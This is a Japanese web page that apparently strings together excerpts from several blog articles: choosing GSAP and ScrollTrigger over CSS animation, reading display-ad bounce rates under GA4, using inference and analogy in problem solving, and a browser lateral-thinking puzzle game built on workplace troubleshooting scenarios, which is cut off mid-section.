GSAPを選ぶ場面 反対に、CSSだけで書こうとすると急に苦しくなるのが次のような要件です。いずれも「時間」を自分で操作したいという点で共通しています。 スクロール量に合わせて動きの進み具合を変えたい（ScrollTriggerの scrub） 3つ以上の動きを、少しずつ重ねながら順番に流したい 途中で止める、逆再生する、特定の位置に飛ばす、といった制御を入れたい 多数の要素に少しずつ時間差をつけたい（スタガー） SVGの線を描き出す、数値をカウントアップするなど、CSSでは値を扱いにくい対象を動かしたい 迷ったときの判断順 実務では、上から順に当てはめていくと迷いません。4つとも「いいえ」ならCSSで書くのが最短です。 スクロール位置と動きを結びつけるか（はい → GSAP＋ScrollTrigger） 複数の動きの順番や重なりを調整するか（はい → GSAPのタイムライン） 途中で止める・戻す・飛ばす操作が要るか（はい → GSAP） 動かす対象がSVGの描画や数値そのものか（はい → GSAP） なお「スクロールで一度だけふわっと出す」だけなら、IntersectionObserver でクラスを付けてCSSで動かす方法も有効です。GSAPが効いてくるのは、そこから先のスクロール量に応じて途中経過が変わる表現に踏み込んだときです。判断に迷ったら、ギャラリーで両方の動きを再生して見比べるのが手っ取り早い方法になります。 ScrollTriggerで最初につまずくstartとend ScrollTriggerで最初の関門になるのが start と end の書式です。値は空白で区切られた2つの語からできていて、左がトリガー要素の位置、右が画面（ビューポート）の位置を表します。この読み方さえ分かれば、あとは組み合わせるだけです。 書き方意味よく使う場面"top 88%"要素の上端が、画面の上から88%の位置に来たときスクロールして少し見えたら再生する"top top"要素の上端が画面の上端に来たとき固定して見せる演出の開始点"bottom bottom"要素の下端が画面の下端に来たとき要素を見終わる位置で終了させる"center center"要素の中央が画面の中央に来たとき画面中央を基準に動かす コードにすると次のような形になります。scrub: true を入れると、動きの進み具合がスクロール量に追従します（数値を入れると、その秒数だけ遅れて滑らかに追いつきます）。 gsap.registerPlugin(ScrollTrigger); gsap.to(".panel", { x: -600, ease: "none", scrollTrigger: { trigger: ".section", start: "top top", // 要素の上端が画面の上端に来たら開始 end: "bottom bottom", // 要素の下端が画面の下端に来たら終了 scrub: 1, // スクロールに追従（1秒かけて追いつく） markers: true // 開始線・終了線を画面に表示（確認用） } }); 位置が思ったとおりにならないときは、markers: true を付けて開始線と終了線を目で見るのが最短です。ギャラリーにも同じ確認ができるサンプルが入っているので、自分のコードに入れる前に見え方を掴んでおけます。公開時には外し忘れに注意してください。細かい指定はGSAP公式のScrollTriggerドキュメントが最新の一次情報です。 スクロール連動の実装をひととおり自分で組み立ててみたい場合は、GSAPとScrollTriggerで実現するスクロール連動リバースアニメーションで、模写課題として一連の流れを追えます。 2025年にGSAPは全プラグインが無料になった GSAPを検索すると「SplitTextは有料」「Club GreenSockの会員登録が必要」といった情報が今も出てきますが、これは古い前提です。GSAP 3.13（2025年4月29日公開）で、Webflowの支援により、従来は会員限定だったプラグインを含めてすべてが無償化されました（GSAP公式のリリース告知）。公式サイトも「GSAP is now 100% free for all users」と明記しています（GSAP公式の価格ページ）。商用サイトでも追加費用はかかりません。 そのうえで、このギャラリーはプラグインを使わずに同等の表現を標準機能だけで再現しています。無料化されたとはいえ、読み込むファイルが増えれば設定も増えるためです。実際の置き換えは次のとおりです。 ### [ディスプレイ広告の直帰率80%は正常なのか｜平均56.5%が使えない理由](https://codequest.work/display-ads-bounce-rate/) ディスプレイ広告の直帰率を検索すると、平均56.50%という数字が見つかります。一方で運用側からは「80〜85%は通常の範囲です」と説明されることもあります。手元の80%がどちらの話なのか、判断がつきません。 この56.50%は、米国CXLが2017年8月に公開したユニバーサルアナリティクス（UA）基準の数値で、サンプル数も母集団も公開されていません。GA4の提供開始は2020年10月です。定義が違うため、GA4の80%と並べることはできません。 GA4基準でチャネル別の平均値を公開している調査は、調べた限り存在しませんでした。「80〜85%は通常」という説明も同じで、GA4の直帰率は各アカウントの計測設定で動くため、他社の数字をそのまま自社に当てはめることはできません。外部のデータでは答えが出ません。 答えが出せるのは、自社の中に基準線を引いた場合だけです。同じLPを、すでに自社を知っている人が見たときの数字——リターゲティングの直帰率が、その基準線になります。80%という絶対値ではなく、リターゲティングとの差で配信面を選別する。これがこの記事の結論です。根拠はGoogle公式ドキュメントで確認できる仕様と、発行元をたどれる調査だけに絞っています。 ディスプレイ広告の直帰率80%は正常なのか 「正常か異常か」を外部の数字で判定することはできません。ただし、ディスプレイ広告で80%前後が頻繁に出ること自体は、媒体の仕組みから説明がつきます。この2つは別の話です。 そこで、問いを2つに分けます。 この80%は、媒体の構造で説明がつく範囲なのか その中に、切るべき配信面が混ざっていないか 1つ目は媒体の仕組みの話なので、次の章で説明します。2つ目が実務で手を動かす部分で、ここに基準線が要ります。判断できるのは絶対値ではなく、自社データの中での差分だけです。 この記事は、先に手順（構造の説明 → 基準線の引き方 → 判定）を示し、そのあとで「なぜ外部の平均値が使えないのか」を原典まで辿って示します。根拠から読みたい場合は後半へ進んでください。 この記事で示す判断の順序。外部の平均値と比べる経路だけが使えない なぜディスプレイの直帰率は構造的に高くなるのか 比較できないとしても、高くなる理由は仕組みから説明できます。ディスプレイ広告のクリックは、質の違うものが混ざっているためです。 層どういうクリックか着地後の反応誤クリックアプリ内バナーに指が当たった即座に戻る。ほぼ全員が直帰反射クリック画像に反応して押したが、着地して広告だと気づく数秒で戻る。ほぼ全員が直帰弱い興味少し気になって押し、第一画面を見て判断する10秒に届かず直帰する割合が高い見込み客内容を読む10秒を超えるため直帰しない ディスプレイ広告は「探しに来た人」ではなく「見せられた人」に配信されるため、上の3層の比率が構造的に大きくなります。4層目が2割いれば、それだけで直帰率80%です。8割が失敗したのではなく、そもそも見込み客ではない層が最初から含まれている、という読み方になります。 10秒のしきい値がそこに上乗せされる ここに10秒のしきい値が乗ります。表示に3秒かかるページなら、読める時間は残り7秒です。内容を読んで判断したのではなく、しきい値に届かなかっただけの人も直帰に含まれます。ディスプレイはモバイル比率が高く回線も選べないため、表示速度がそのまま直帰率を作っている場合があります。 同じLPでも流入の構成が違えば変わる 検索広告と比べると差がはっきりします。検索広告はそのキーワードを自分で入力した人に配信されるため、誤クリックと反射クリックの層がほぼ存在しません。同じLPでも、流入の構成が違うだけで直帰率は変わります。検索の直帰率と並べて「ディスプレイは悪い」と判断できない理由がここにあります。 直帰率は「成果指標」ではなく「配信面の選別指標」 ここまでの内容から、直帰率の使いどころが絞られます。絶対値ではなく差分で使う、という一点です。 使い方成立するか理由全体の直帰率を他社平均と比較する不可計測設定も母集団も違う全体の直帰率を単体で成果判定に使う不可媒体特性で高くなるのが正常配信面・オーディエンス別に割って比較する可切るべき面が特定できる同一配信の時系列変化を見る可急変は配信面の変化か計測破損の兆候 配信面ごとに割ったとき、直帰率が極端に高い塊が出てきます。典型的なのがアプリ面の誤クリックです。判別の目安はクリック率が不自然に高いのに直帰率も極端に高いという組み合わせです。興味があってクリックされているなら通常この2つは逆方向に動くため、両方が高い面は誤クリックを疑う根拠になります。 ディスプレイは配信面が多数に散る一方で、コストは上位のごく一部の面に偏ります。この棚卸しが運用の実務の大半を占めます。直帰率は、その判断を数日で下すための材料になります。コンバージョンを待つと数週間かかるため、選別のスピードが変わります。 基準線は業界平均ではなく自社のリターゲティングに置く 差分で使うと決めたなら、基準となる線が必要です。外部の平均値が使えない以上、基準線は自社データの中から取るしかありません。そこで使えるのがリターゲティングの直帰率です。 前提として、リターゲティングもディスプレイ広告の一種です。配信される面は同じで、違うのはオーディエンスの指定だけです。過去の訪問者に絞ればリターゲティング、興味関心やトピックで広げれば新規向けの配信になります。 リターゲティングの直帰率は、自社を既に知っている人が同じLPを見たときの数字です。同じ計測設定・同じLP・同じ測り方なので、比較が成立します。実質的にそのLPの上限性能を示す値と考えられます。 リターゲティングの直帰率を基準線に置く。基準線に近い面は伸ばし、大きく離れた面は切る候補にする リターゲティングの水準に近い面・セグメントは、見込み客に当たっている。伸ばす 大きく離れた面・セグメントは、当たっていない。切る候補にする リターゲティングの直帰率が新規向けと同水準なら、それ自体が異常。LPかフリークエンシーか計測を疑う この方法なら、外部から目標値を持ち込む必要がありません。達成可能性も担保されます。リターゲティングが70%の商材で新規配信に60%を求めても、原理的に届かないからです。 なおこの比較を成立させるには、リターゲティングと新規配信を別キャンペーンに分け、新規側から既存訪問者を除外しておく必要があります。混ざっていると基準線そのものが引けません。 直帰率80%を60%にするために必要な切り捨て量 「直帰率を下げる」という目標を立てたとき、実際にどれだけ切る必要があるのかは計算で出ます。直帰率は加重平均なので、想像よりはるかに大きく削ることになります。 100クリック・直帰80件の状態から始めます。切る対象の面の直帰率を90%と置くと、必要な切り捨て量xは次の式で求まります。 (80 − 0.9x) ÷ (100 − x) = 0.6　→　x ≒ 67 全体の3分の2を切って、ようやく60%です。切る対象が直帰率100%の完全な誤クリック面だったとしても、必要な切り捨ては半分になります。「2割の不要な面を外せば2割下がる」という直感は成立しません。 項目切る前切った後クリック（コスト）10033直帰した人8020読んだ人2013直帰率80%60% 切ると母集団も同時に減る コストが3分の1に減り、読んだ人は3分の2残ります。効率としては改善しますが、同時に母集団に積まれる人数も大きく減ります。切りっぱなしにすると、直帰率は綺麗だが規模が小さいという状態で止まります。 そのため運用は「切る」と「広げる」の両輪になります。空いた予算を、残った良質な面に似た未開拓のカテゴリへ再投資して量を戻す。これを繰り返すことで、質を保ったまま規模を維持できます。 直帰率を下げても意味がないケース 「直帰率を下げる」には性質のまったく違う2つの方法があり、片方は成果につながりません。 方法やること集める人が変わるか配信面・カテゴリの選別直帰率の低い面を残し、高い面を切る変わるLP側の直帰率最適化ファーストビューに動画を置く、情報を小出しにして滞在を伸ばす変わらない 前者は「誰を集めるか」を変えているため、積まれるリストの質が上がります。後者は既に集めた人の滞在秒数を伸ばしているだけなので、リストの中身は1人も変わりません。直帰率は改善しても、コンバージョンは動かない状態になります。 直帰率は10秒を超えれば下がる指標です。目標値として掲げると、コンバージョンに関係のない方法で数字だけを動かせてしまいます。ここが、直帰率をKPIに据えてはいけない理由です。 LP改善そのものを否定するものではない 誤解のないように付け加えると、これはLPの改善そのものを否定するものではありません。第一画面の訴求や表示速度の改善は当然必要です。否定しているのは直帰率という数字を目標に据えることであって、LPを良くすること自体ではありません。 最終判定はリターゲティング経由のコンバージョン数で見る 直帰率は日々の選別に使う先行指標であり、成否そのものを決める指標ではありません。方向が正しいかどうかは、遅れて出てくる数字で確認します。 見るのは次の積です。 リスト増加数（量）× そのリストのコンバージョン率（質）＝ リターゲティング経由のコンバージョン数 状態意味判断リストが増え、リタゲ経由CVも増えている見込み客を集められている続けるリストは増えたが、リタゲ経由CVが増えない集めているのが見込み客ではないターゲットを変更する直帰率は下がったがリタゲ経由CVも減った絞りすぎ再投資して量を戻すリストが増えない配信量かクリエイティブの問題まず直す 2行目に注意してください。「新規訪問が増えました」という報告だけでは成功に見えますが、そのリストから売上が立たなければ、質の低い人を集めただけになります。ここが繋がっているかを必ず確認します。 前提はコンバージョン計測が入っていること なお、この判定はコンバージョン計測が入っていることが前提です。計測を入れず「認知目的なので成果は見ません」という運用にすると、数か月後に効果を問われた際に答える材料がなくなります。出稿前に整えるべき受け皿は、Web広告を出す前に整える4つの受け皿で扱っています。 なぜ外部の平均値では判定できないのか ここまでの手順は「外部の平均値は使えない」を前提にしています。その根拠を示します。理由は定義が違うことと、自社の設定で数字が動くことの2つです。 GA4とUAでは、測っているものが違う GA4の直帰率はエンゲージメント率の裏返しで、「エンゲージのなかったセッションの割合」と定義されています。エンゲージのあったセッションは、次の3つのいずれかを満たすものです。 10秒を超えて継続する（Lasts longer than 10 seconds） キーイベントが発生する（Has a key event） ページビューまたはスクリーンビューが2回以上発生する（Has 2 or more screen or page views） 出典：Googleアナリティクス ヘルプ「[GA4] Average engagement time」 一方UAの直帰率は「1ページのみを閲覧し、アナリティクスサーバーへのリクエストが1件だけだったセッション」の割合でした。滞在時間は判定に関与しません。5分読んで帰っても、UAでは直帰です。 セッションの中身UAの判定GA4の判定2ページ以上見た非直帰非直帰1ページのみ・10秒を超えて滞在直帰非直帰1ページのみ・10秒以下直帰直帰1ページのみ・イベントを発火・10秒以下非直帰直帰 4行目に注意してください。 ### [推測と類推の使い方｜ロジカルとラテラルを実際に動かす2つの道具](https://codequest.work/inference-and-analogy/) 推測とは、手元にある情報から、まだ確かめていない先を読むことです。類推とは、別の場所で通用した解き方を、いま目の前の問題に借りてくることです。推測はロジカルシンキング寄り、類推はラテラルシンキング寄りの働きをします。 「問い合わせが増えない」「このバナーだけ反応が悪い」「なぜか特定のページで離脱する」。こうした場面で頭の中で起きているのは、たいてい推測か類推のどちらかです。ところが現場では、この2つが混ざったまま「前もこうだったから」で決まっていきます。当たることもあります。問題は、外れたときに何が悪かったのか分からないことです。情報が足りないまま先を埋めたのか、借りてきた事例が的外れだったのか、切り分けられない。 この記事では、推測と類推を分けて扱えるようにします。とくに類推は「似ている」の中身を取り違えると必ず外れるので、借りる前に確認する4つの質問を用意しました。ロジカルシンキングとラテラルシンキングをどう行き来するかは ロジカルシンキングとラテラルシンキングの記事 で書いたので、ここではその2つを実際に動かすための道具の話をします。 推測と類推とは何か｜ロジカルとラテラルの動かし方 まず2つを具体的な場面で分けます。アクセス解析を開いて、あるランディングページの直帰率が突出して高いことに気づいたとします。ここで「ファーストビューで何かが起きている」と読むのが推測です。手元にある数字から、まだ確かめていない部分に筋を通して埋めている。使っているのは目の前のデータだけで、外からは何も持ってきていません。 一方、同じ場面で「行列のできる店が入口に『本日のおすすめ』を出しているのは、並ぶ前に選ばせているからだ。あれをフォームの手前でやったらどうか」と考えるのが類推です。飲食店とランディングページには何の関係もありません。それでも解き方だけを持ってきている。手元のデータからは絶対に出てこない選択肢が、ここで初めて出てきます。 推測類推やること手元の情報から、まだ確かめていない先を埋める別の場所で通用した解き方を、いまの問題に移す近い思考ロジカルシンキング寄りラテラルシンキング寄り出てくるもの筋の通った1つの答えいまの延長線上にない選択肢持ち込む材料目の前のデータだけ関係のない領域の経験典型的な外し方情報が足りないまま埋める「似ている」の中身を取り違える ただし、この2つはきれいに分かれるわけではありません。手元の数字を大きく飛び越えた推測はラテラル的な働きをしますし、類推で借りてきたものが本当に同じ構造かを照合する作業は、ロジカルそのものです。あくまで推測はロジカルの要素が多く、類推はラテラルの要素が多い、という程度に捉えてください。厳密に線を引くことが目的ではなく、いま自分がどちらを使っているかを自覚することが目的です。 「似ている」には2種類ある｜表面と構造 類推がうまくいくかどうかは、ほぼここで決まります。「似ている」には、表面が似ている場合と、構造が似ている場合の2種類があり、借りてよいのは後者だけです。 表面が似ている構造が似ている何が同じか業種・見た目・使っているツール・規模効いている制約・詰まる場所・人が動く順番見つけやすさすぐ目につく意識して探さないと出てこない借りた結果形だけ真似て、効かない形は違うが、同じ効き方をする 例を出します。通販サイトのカートで購入をやめてしまう人が多い、という問題を考えます。ここで「同じ通販サイト」を探すのが表面の類似です。業種も見た目も近いので、いくらでも見つかります。しかし片方が定期購入で、こちらが単品購入だとしたら、買う人の迷い方はまったく違います。近いのに借りられない。 いっぽう、空港の保安検査の列を思い出すとどうでしょうか。通販とは何の関係もありません。それでも「やると決めた人が、手続きの途中で降りる」という詰まり方は同じです。同じなら、空港でやっている工夫を持ってこられます。列に並ぶ手前に「次に出すもの」を掲示しておけば、検査台での手間が減る。これを通販に移すと、カートに入る前の段階で「この先に必要になるもの（カード・住所・会員登録の要否）」を先に見せる、という案になります。 この「移るのは何か」については、認知科学に古くからの整理があります。デドレ・ゲントナーの構造写像理論では、類推において移されるのは対象そのものが持つ属性ではなく、対象どうしのあいだに成り立っている関係のほうだと説明されています（出典：Gentner, D. "Structure-Mapping: A Theoretical Framework for Analogy", Cognitive Science, 1983）。空港と通販で共通しているのは、空港でも通販でもなく、「決めた人が途中で降りる」という関係のほうだ、ということです。 表面で借りると、なぜ外れるのか｜現場の3パターン 表面の類似で借りてしまう場面は、だいたい次の3つに分かれます。どれも悪意なく起きますし、忙しいときほど起きます。 他社サイトの見た目を借りる 「この会社のサイト、動きがかっこいいので参考にしたい」から始まるパターンです。借りているのは見た目であって、その動きが解決していた問題ではありません。参考元は商品点数が3つしかないから大きく見せられるのであって、こちらが80点あるなら同じ構成は成立しません。制作側からは「参考サイトどおりに作った」ように見えるので、なぜ効かないのかが最後まで分からない。 過去案件をそのまま流用する 「前回の美容室の案件がうまくいったから、同じ構成で」というパターン。業種が同じでも、前回は個人店で意思決定者が1人、今回は5店舗で決裁者が複数、ということはよくあります。うまくいった原因が「意思決定が速かったこと」だったなら、業種は関係がなかったわけです。借りるべきだったのは構成ではなく、決裁の速さを前提にした進め方のほうでした。 「前もこうだった」で決める いちばん多いのがこれです。「以前も同じ症状だったから、たぶん原因も同じ」。症状が似ていることと、原因が同じであることは別です。「特定の環境でだけ表示が崩れる」という症状は、キャッシュでも、フォントでも、読み込み順でも起こります。症状という表面で結んでしまうと、前回の原因を探しに行って空振りし、その間に本当の原因は放置されます。 類推はラテラル寄りの道具｜どこから借りてくるか 借り先が近いほど、表面と構造が一緒についてきます。同業他社を見ると、業種も見た目も制約も全部似ているので、どれが効いている要素なのか分離できません。借り先が遠いほど、共通して残るのは構造だけになります。空港と通販に共通点があるとすれば、それは構造しかありえない。だから遠いところから借りたほうが、実は安全です。 では、遠い借り先はどうやって探すのか。業種で探すとどうしても近くなるので、動詞で探すのがおすすめです。いま自分が扱っている問題を、業種の言葉を使わずに動詞1つに落とします。 いまの問題動詞に落とす同じ動詞が起きている場所フォームの途中で離脱される待たせる・入力させる病院の問診票、役所の窓口、空港の保安検査プランを選んでもらえない選ばせる飲食店のメニュー、保険の窓口、家電量販店更新されないまま放置される続けさせるジムの会員、習い事、家計簿アプリ問い合わせ前に離れていく不安を残す初診の病院、初めて入る飲食店、中古車の販売 そして重要なのが、借り先は1つでなく2つ以上あげることです。1つだけだと、その事例の表面（病院なら「紙」「待合室」）と構造（「本人が来る前に済ませられる作業を前に出す」）が混ざったまま入ってきます。2つ並べると、共通していない部分が自動的に落ちて、構造だけが残ります。病院の問診票と空港の掲示に共通するのは、紙でも掲示板でもなく「詰まる地点より手前で準備を済ませる」ことだけです。ここまで絞れて初めて、自分の問題に移せる形になります。 推測はロジカル寄りの道具｜借りた案をどう詰めるか ここを飛ばすと、類推はただの思いつきで終わります。類推が作れるのは仮説までで、それが正しいかどうかは何も言っていません。借りてきた時点では「効くかもしれない」でしかない。ここから先が推測の仕事です。 推測の役割は、「この仮説が正しいとしたら、ほかに何が観測されるはずか」を先に言うことです。さきほどの「カートに入る前に必要なものを見せる」案なら、こうなります。 この案が効いているなら、カート到達後の離脱率が下がるはずだ 準備の案内を足しただけなので、カートへの到達率そのものは大きく変わらないはずだ もし到達率まで落ちたなら、案内が「面倒そう」に見えているということで、狙いと逆の効果が出ている 3つ目が書けているかどうかが分かれ目です。効いた場合の話だけをしていると、数字が動いても動かなくても「まあそういうこともある」で終わってしまいます。外れ方を先に書いておくと、結果が出た瞬間に判断できる。ここまで来て、はじめて検証の手順に落とせます。実際に何を見に行くかは Chrome DevToolsで仮説と検証を回す記事 にまとめてあります。 借りる前に確認する4つの質問 ここまでの内容を、その場で使える形にします。何かを借りてこようとしたときに、この4つを順番に確認してください。全部が埋まったら移してよい、埋まらないなら借り先を変える、という判定に使います。 何を借りるのか。見た目か、詰まり方か 借り先で効いていた制約は、こちらでも効いているか 借りたものが崩れる条件を、1つ挙げられるか 捨てられる場所で、小さく試せるか 質問1｜何を借りるのか。見た目か、詰まり方か 借りたいものを、業種名と固有名詞を使わずに1文で書きます。「空港の掲示」ではなく「負荷がかかる地点の手前で、必要な準備を予告しておくこと」。書けなければ、まだ見た目しか捉えていません。固有名詞が消せないうちは移せない、と考えて構いません。 質問2｜借り先で効いていた制約は、こちらでも効いているか 空港の掲示が効くのは、列に並んだら途中で抜けられないからです。抜けられるなら掲示の必要はありません。では自分の問題ではどうか。カートに入った人が途中で抜けられるなら、制約は同じではないので、別の効き方を考える必要があります。効いていたのは工夫そのものではなく、その工夫が乗っていた前提のほうです。 質問3｜借りたものが崩れる条件を、1つ挙げられるか 「どんなときにこれは効かないか」を1つ書きます。この案なら「必要なものが少ない商品では効かない。むしろ手間が増えたように見える」。1つも挙げられないなら、それは強い仮説ではなく、検証できない仮説です。反証条件が書けない案は、結果が出ても学びが残りません。 質問4｜捨てられる場所で、小さく試せるか 類推は外れる前提の道具です。外れたときに引き返せる大きさで試します。全ページではなく1ページ、全商品ではなく1カテゴリ、恒久ではなく2週間。試せる形に落とせないなら、それは案の問題ではなく、進め方の問題です。引き返せない賭けにするくらいなら、対象を削って小さくするほうが先です。 4つの質問で詰まったときの分岐 どの質問で止まったかによって、次にやることが変わります。止まったこと自体は失敗ではなく、借り方のどこが弱いかを教えてくれる情報です。 詰まった場所起きていること次の一手質問1で1文にできない借りたい対象を見た目でしか捉えていない借り先で「誰が・どこで・なぜ降りたか」を書き出し、固有名詞を消す質問2で「効いていない」表面だけの類似だった借り先を変える。同じ制約が効いている場面を業種の外で探す質問3で条件が出ない検証できない仮説になっている「効かないのはどんなときか」を先に書いてから案に戻る質問4で試せない一発勝負の計画になっている対象を絞る。1ページ・1導線・期間限定のどれかに落とす 4つのうち2つ以上で止まるなら、その借り先はいったん諦めたほうが早いです。 ### [バグ調査は水平思考だった｜実務ネタのウミガメのスープを作った](https://codequest.work/lateral-thinking-puzzle-game/) 水平思考クイズ（ウミガメのスープ）とは、一見わけのわからない状況について「はい／いいえ」で答えられる質問を重ね、その裏にある真相を突き止める推理ゲームです。答えを直接当てにいくのではなく、質問で可能性を削って範囲を狭めていきます。この手つきは、制作の現場で毎日やっている原因究明とまったく同じです。 「本番だけ画像が出ない」「先方の画面でだけ書体が変わる」「書き出したファイルだけ無音になる」。こうした報告を受けたとき、経験のある人はコードやデータを開く前に質問をします。いつから起きているか、他の人でも起きるか、別の環境ではどうか。この質問の順番がうまい人ほど、原因にたどり着くのが速い。逆に、思いついた場所から順にコードを読み始める人は、当たるまで時間がかかります。 その「質問で範囲を狭める力」だけを取り出して練習できるものが欲しくて、ブラウザだけで遊べる水平思考クイズを作りました。通常編に加えて、エンジニア・デザイナー・動画編集者の実務で実際に起きるトラブルを題材にしたジャンルを用意しています。この記事では、収録した問題の中身、1人で遊べるようにした仕組み、そして遊び終わったあとに実務へ持ち帰れる質問の型までを書きます。 ウミガメのスープを遊ぶ（登録不要） 水平思考クイズ（ウミガメのスープ）とはどんなゲームか 水平思考（lateral thinking）という言葉は、エドワード・デ・ボノの著作にさかのぼります。出版元のページには「First published in 1967 as The Use of Lateral Thinking」とあり、1967年の刊行以来のロングセラーとして紹介されています（出典：debono.com「Lateral Thinking. An Introduction」）。筋道を一段ずつ下りていく垂直思考に対して、前提そのものを疑って別の入口を探すのが水平思考です。 日本で「ウミガメのスープ」という呼び名が広まったきっかけは、書籍『ポール・スローンのウミガメのスープ 水平思考推理ゲーム』（ポール・スローン、デス・マクヘール著／クリストファー・ルイス訳）です。版元のエクスナレッジによれば2004年10月20日の刊行で、この形式の問題を81題収録しています（出典：エクスナレッジ 書籍ページ）。以来、ゲームの形式そのものを指す通称として定着しました。 ルールは3つだけです。出題者が不可解な状況を提示する。プレイヤーは「はい／いいえ」で答えられる質問だけを投げる。出題者は「はい」「いいえ」「関係ありません」のいずれかで答える。真相が見えたら宣言して答え合わせをします。  垂直思考で解こうとすると水平思考で解こうとすると最初の一手思いついた答えを直接ぶつける状況を分ける軸を探す外れたとき手がかりが増えないその方向が消えて範囲が狭まる効いてくる質問「犯人は誰？」「時間帯は関係ある？」行き詰まる原因前提を疑っていない（前提を疑うところから始める） 思考法としてのロジカルシンキングとラテラルシンキングの関係、そして仕事のなかでどう使い分けるかはロジカルシンキングとラテラルシンキングで整理しています。この記事は、その片方を手を動かして鍛えるための道具にあたります。 なぜ制作者の脳トレとして機能するのか 不具合の調査は、水平思考クイズと構造が同じです。目の前にあるのは「結果」だけで、原因は隠れている。触れるのは、状況を切り分ける質問だけ。そして質問を投げるたびに、可能性の範囲が狭まっていきます。 違いは、実務では質問に答えてくれる相手がいないことです。答えるのはブラウザであり、ログであり、再現手順です。だから調査の速さは、そのまま「どんな軸で切るかを思いつけるか」で決まります。クイズで練習できるのは、まさにこの部分だけです。 もうひとつ、実務との共通点があります。否定の答えにも同じだけの価値があることです。「いいえ」が返ってきた質問は失敗ではなく、可能性をひとつ消した成果です。調査で「ここは関係なかった」と分かったときに手応えを感じられる人は、この切り分けが身についています。実際にブラウザ上で仮説と検証を往復する手順はChrome DevToolsで仮説と検証を回す手順にまとめてあります。クイズで身につく質問の型は、そのまま検証の順番に置き換わります。 そして職種別のジャンルには、もうひとつ効用があります。エンジニアがデザイナー編を、デザイナーが動画編集者編を解くと、隣の職種が何につまずいているのかが分かるのです。「なぜこの依頼はいつも急ぎなのか」「なぜあの確認がしつこいのか」の答えが、問題の真相として書いてあります。 収録した4ジャンル68問の中身 通常編・エンジニア編・デザイナー編・動画編集者編の4ジャンルを各17問、合計68問収録しています。そしてすべて書き下ろしのオリジナルです。有名な問題の転載は1問も含んでいません。既存の問題は検索すれば答えが出てしまいますし、職種別の題材はそもそも既存の問題集に存在しないためです。 ジャンル題材判定の出方通常編日常のなかの不可解な状況・人物はい／いいえ／関係ありませんエンジニア編デプロイ・キャッシュ・時刻・メモリ・権限YES / NO / IRRELEVANTデザイナー編色・書体・入稿・レビューのすれ違いYES / NO / IRRELEVANT動画編集者編書き出し・音・撮影条件・尺の調整YES / NO / IRRELEVANT 判定ラベルをジャンルごとに変えているのは、雰囲気を切り替えるためです。通常編は物語として読ませたいので日本語、職種別の3ジャンルは障害対応のログを読んでいる感覚に寄せたいので英語にしてあります。ゲームとしての挙動は同じです。 ジャンルの追加は、問題データのファイルを1つ足してレジストリに1行加えるだけで済むようにしてあります。タブの並び・問題一覧・件数表示・進捗の保存は、すべて自動で追従します。今後ジャンルを増やす場合も、同じ手順で足していきます。 職種別の3ジャンルは実務で起きるトラブルが題材 職種別の3ジャンルは、いずれも現場で実際に起きるトラブルを題材にしています。以下では各ジャンルの出題文だけを並べます。真相はここには書きません。読んだ時点で「あ、あれか」と思い当たるものもあるはずですが、思い当たらない問題こそ、質問で削っていく練習になります。 エンジニア編：環境・時間・状態が絡む不具合 エンジニア編は、実装のミスそのものではなく「環境・時間・状態」が絡んだ不具合を中心に集めました。コードを読んでも見つからず、質問で切り分けるしかないタイプです。 毎週金曜の夜だけ、デプロイが必ず失敗する。コードは何も変えていない。 そのテストは、単体で実行すると必ず通る。だが全テストをまとめて実行すると必ず落ちる。 新しい社員を社内システムに登録しようとすると、その人だけ必ずエラーになる。名前を入れた時点で弾かれる。 海外拠点との定例会議が、毎年3月と11月にだけ1時間ずれる。カレンダーの設定は誰も触っていない。 障害から復旧させようとリトライを重ねるほど、システムは復旧しなくなっていった。 どれも「一度は見たことがある」形にしてあります。心当たりがある人ほど早く解けますし、初見の人でも質問を重ねれば必ず届きます。最難問の★★★★は「原因を突き止めようとログを仕込んだ途端、まったく再現しなくなった」という一問です。 「CSSを直したのに一部の人だけ古いまま」のように、環境の違いが原因になる不具合は現実にも頻出します。実際の切り分け手順はChrome・VSCode・GitHubでCSSが反映されない原因と対処法にまとめてあるので、クイズで引っかかった人はそのまま実務側の対処に進めます。 デザイナー編：入稿事故とレビューのすれ違い デザイナー編は2種類に分かれます。ひとつは色・書体・データ形式といった技術的な事故。もうひとつは、レビューや合意形成でこじれる人と人のすれ違いです。後者は「正解が技術の外にある」ので、水平思考の練習としてはむしろこちらが本命です。 画面では鮮やかだったのに、刷り上がったチラシはどんよりくすんでいた。印刷所のミスではない。 数値はきっちり中央に合わせた。それなのに、見た人全員が「少し下に見える」と言う。 色分けしたグラフを作ったら、一部の人からだけ「どれがどれか分からない」と言われた。色ははっきり分けてある。 指示どおりに直すたびに、次の打ち合わせで前の状態に戻せと言われる。誰も嘘はついていない。 リニューアルしたデザインは社内で絶賛された。公開後、申し込みの数だけが落ちた。 「何案出しても『なんか違う』と返される。具体的にどこが違うのかは、誰も説明できない」という一問は、経験者ほど反応が割れます。技術の問題として解こうとすると、いつまでも当たりません。 動画編集者編：書き出しと撮影条件 動画編集者編は、編集画面では起きないのに、書き出した先や再生する環境でだけ起きるという形の問題が中心です。撮影時の条件が数日後に効いてくるタイプの問題も混ぜました。 編集画面では音楽もナレーションも鳴っている。書き出したファイルだけが完全な無音になる。 同じ部屋で、同じ照明で撮った。それなのにカットごとに明るさが違い、つなぐと不自然になる。 肉眼では何ともないのに、撮った映像だけが細かくチラついている。カメラは新品だ。 「あと10秒だけ縮めてほしい」と言われた。不要なカットはいくらでもある。それなのに縮められない。 つなぎ目に粗はひとつもない。音も映像も綺麗だ。それでも試写した全員が「見ていて疲れる」と言った。 映像の制作環境そのものをこれから整える段階なら、After Effects導入前チェックに必要スペックと最初の1本の作り方をまとめてあります。ここで扱っている事故の多くは、環境と設定の理解でそのまま防げるものです。 難易度は★〜★★★★の4段階 難易度は、状況から真相までの距離で決めています。★は1つの軸で切れば届くもの、★★は2つの要素が重なっているもの、★★★は前提そのものを疑わないと届かないもの。そして★★★★は、各ジャンルに1問だけ置いた最難問です。 ジャンル★★★★★★★★★★通常編3941エンジニア編11051デザイナー編21041動画編集者編21041 問題一覧の上部で難易度を絞り込めます。まず★から順に慣らすのが素直な進め方ですが、いきなり★★★★に挑んで、降参してから真相を読むのも悪くありません。解けなかった問題の真相ほど、質問の型として頭に残ります。 1人で遊べる仕組み：出題者役はブラウザが担当する このゲームの最大の制約は、本来真相を知っている出題者役の人間が必要だという点です。1人で遊ぶには、その役をプログラムに担当させるしかありません。 判定は問題ごとの判定表で返す 